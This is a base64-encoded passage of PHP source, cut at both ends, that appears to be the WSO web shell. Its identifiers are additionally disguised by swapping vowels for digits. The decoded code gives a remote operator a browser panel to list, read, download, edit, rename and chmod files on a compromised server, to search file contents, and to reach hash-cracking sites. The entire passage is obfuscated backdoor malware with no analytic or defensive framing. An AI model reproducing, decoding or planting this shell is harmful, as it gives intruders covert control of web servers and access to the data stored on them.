bnQ1bnQpOyANCiAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7IA0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsgDQogICAgICAgICRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOyANCiAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLCANCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLCANCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkgDQogICAgICAgICAgICAgICAgICAgICk7IA0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOyANCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpIA0KICAgICAgICAgICAgJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7IA0KICAgICAgICA1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKSANCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsgDQogICAgfSANCiAgICAkR0xPQkFMU1snczJydCddID0gJHMycnQ7IA0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsgDQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKSANCiAgICAgICAgICAgIHI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7IA0KICAgIH0gDQogICAgM3MycnQoJGY0bDVzLCAid3MyQ21wIik7IA0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7IA0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOyANCiAgICAkbCA9IDA7IA0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7IA0KICAgICAgICA1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgdDR0bDU9JyAuICRmWydsNG5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10gDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOyANCiAgICAgICAgJGwgPSAkbD8wOjY7IA0KICAgIH0gDQogICAgNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+IA0KICANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+IA0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPiANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4gDQogICAgPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7IA0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsgDQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7IA0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOyANCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOyANCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpIA0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOyANCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgeyANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fSANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoIA0KICAgICAgICAnQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLCANCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywgDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywgDQogICAgICAgICdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywgDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywgDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsIA0KICAgICAgICAnc2gxNiBoMXNoJyA9PiAnc2gxNicsIA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsIA0KICAgICAgICAnQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywgDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLCANCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLCANCiAgICAgICAgJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywgDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywgDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywgDQogICAgICAgICdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywgDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLCANCiAgICAgICAgJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsIA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLCANCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLCANCiAgICApOyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsgDQogICAgICAgIDJiX3N0MXJ0KCk7IA0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpIA0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsgDQogICAgNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7IA0KICAgIGYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOyANCiAgICAgICAgNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7IA0KICAgIH0gDQogICAgNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCB0NXh0IDRuIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PiANCiAgDQogICAgICAgIDxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4gDQogICAgICAgICAgICA8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7IA0KICANCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7IA0KICAgICAgICA0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpIA0KICAgICAgICAgICAgJHAxdGguPScvJzsgDQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyANCiAgICAgICAgNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsgDQogICAgICAgICAgICBmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgeyANCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkcDF0aCE9JDR0NW0pIA0KICAgICAgICAgICAgICAgICAgICAgICAgd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgNGYoQCRfUE9TVFsncG8nXSkgDQogICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOyANCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQogIA0KICAgICAgICA8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J200bHcwcm0uYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpZDVjcnlwdDVyLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tZGlkNWNyeXB0NXIuYzJtLyc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICA8L2Yycm0+PC9kNHY+IjsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgeyANCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsgDQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgeyANCiAgICAgICAgNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7IA0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgeyANCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsgDQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoIUBmNTJmKCRmcCkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9NXg0dDsgDQogICAgfSANCiAgICA0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsgDQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsgDQogICAgNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsgDQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7IA0KICAgICAgICB3czJGMjJ0NXIoKTsgDQogICAgICAgIHI1dDNybjsgDQogICAgfSANCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7IA0KICAgIDRmKCEkMzRkKSB7IA0KICAgICAgICAkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7IA0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7IA0KICAgIH0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7IA0KICAgIDVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsgDQogICAgNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7IA0KICAgIDRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkgDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsgDQogICAgNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIGYycjUxY2goJG0gMXMgJHYpIA0KICAgICAgICA1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsbjNsbCxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nP